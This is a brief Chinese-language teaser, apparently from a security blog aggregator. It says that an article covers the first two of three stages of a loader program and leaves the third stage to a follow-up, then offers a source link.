本文所讲的示例中,加载程序共分了三个阶段,其中阶段三又分为两部分,本篇先将前两个阶段,第三阶段会在下篇讲到。

源链接

Hacking more

...